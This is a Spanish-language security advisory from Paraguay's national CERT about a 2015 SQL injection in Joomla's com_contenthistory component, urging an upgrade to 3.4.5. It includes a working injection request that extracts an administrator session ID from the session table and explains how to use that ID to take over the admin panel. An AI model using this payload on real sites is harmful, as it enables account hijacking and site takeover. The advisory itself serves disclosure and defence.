BOLETÍN DE ALERTA

Boletín Nro.: 2015-11
Fecha de publicación: 23/10/2015
Tema: Vulnerabilidad crítica de Inyección SQL en Joomla

Sistemas afectados:

- Joomla desde la versión 3.2 hasta la versión 3.4.4

Descripción:

El equipo de Joomla acaba de lanzar una nueva versión de Joomla (3.4.5) para arreglar algunas vulnerabilidades de seguridad graves. El más crítico es una inyección de SQL remoto y no autenticado en el módulo com_contenthistory (incluido por defecto) que permite a un atacante obtener el control total sobre del sitio vulnerable.

El siguiente código, presente en /administrator /components /com_contenthistory/ models/history.php es vulnerable a inyección SQL:

```
protected function getListQuery()
{
    // Create a new query object.
    $db = $this->getDbo();
    $query = $db->getQuery(true);

    // Select the required fields from the table.
    $query->select(
        $this->getState(
            'list.select',
            'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
            'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
        )
    )
```

Otros elementos del código de Joomla contribuyen a la explotación de esta vulnerabilidad. La explotación de esta vulnerabilidad lleva a la siguiente petición, que devuelve la primera clave de sesión activa de la tabla de sesiones, que se encuentra en la base de datos web:

CERT-PY Equipo de Respuestas ante Emergencias Cibernéticas
Secretaría Nacional de Tecnologías de la Información y Comunicación (SENATICs)
Gral. Santos y Concordia – Complejo Santos – Ofic. E14
cert@cert.gov.py | +595 21 201014 | +595 21 3276902
Asunción - Paraguay | www.cert.gov.py
@CERTpy
/CERT-Py

```
GET index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1
&list[select]= (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM
jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
```

Esta petición devolverá al atacante un ID de sesión de la base de datos, que corresponderá a un usuario administrador. Al añadir este ID de sesión en la cookie de la petición de acceso al directorio administrador (/administrator/) estará accediendo con privilegios de administrador y obtendrá acceso al panel de control de administración, obteniendo un control total sobre el sitio.

El equipo de Trustwave SpiderLabs ha publicado un reporte acerca de los detalles de la vulnerabilidad y su explotación:
https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/

Impacto

Un atacante remoto no autorizado podría obtener permisos de administrador mediante el secuestro de la sesión de administrador.

Solución

Joomla ha publicado una actualización, Joomla! 3.4.5 la cual corrige esta vulnerabilidad de seguridad crítica.

Se recomienda actualizar los sitios afectados de inmediato. Esta actualización sólo contiene las revisiones de seguridad; no se han introducido otros cambios con respecto a Joomla 3.4.4.

Información adicional:

https://www.joomla.org/announcements/release-news/5634-joomla-3-4-5-released.html

https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/

https://blog.sucuri.net/2015/10/joomla-3-4-5-released-fixing-a-serious-sql-injection-vulnerability.html

CERT-PY Equipo de Respuestas ante Emergencias Cibernéticas
Secretaría Nacional de Tecnologías de la Información y Comunicación (SENATICs)
Gral. Santos y Concordia – Complejo Santos – Ofic. E14
cert@cert.gov.py | +595 21 201014 | +595 21 3276902
Asunción - Paraguay | www.cert.gov.py
@CERTpy
/CERT-Py